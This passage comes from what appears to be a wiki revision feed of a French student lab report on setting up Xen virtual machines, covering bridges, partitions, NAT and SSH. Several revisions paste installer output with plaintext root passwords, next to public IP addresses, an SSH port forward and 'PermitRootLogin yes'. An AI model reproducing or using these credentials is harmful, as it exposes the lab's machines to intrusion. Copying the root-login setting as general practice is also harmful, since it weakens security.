            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machie en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11508</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11508"/>
		<updated>2026-01-27T14:59:14Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11495</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11495"/>
		<updated>2026-01-27T14:37:42Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
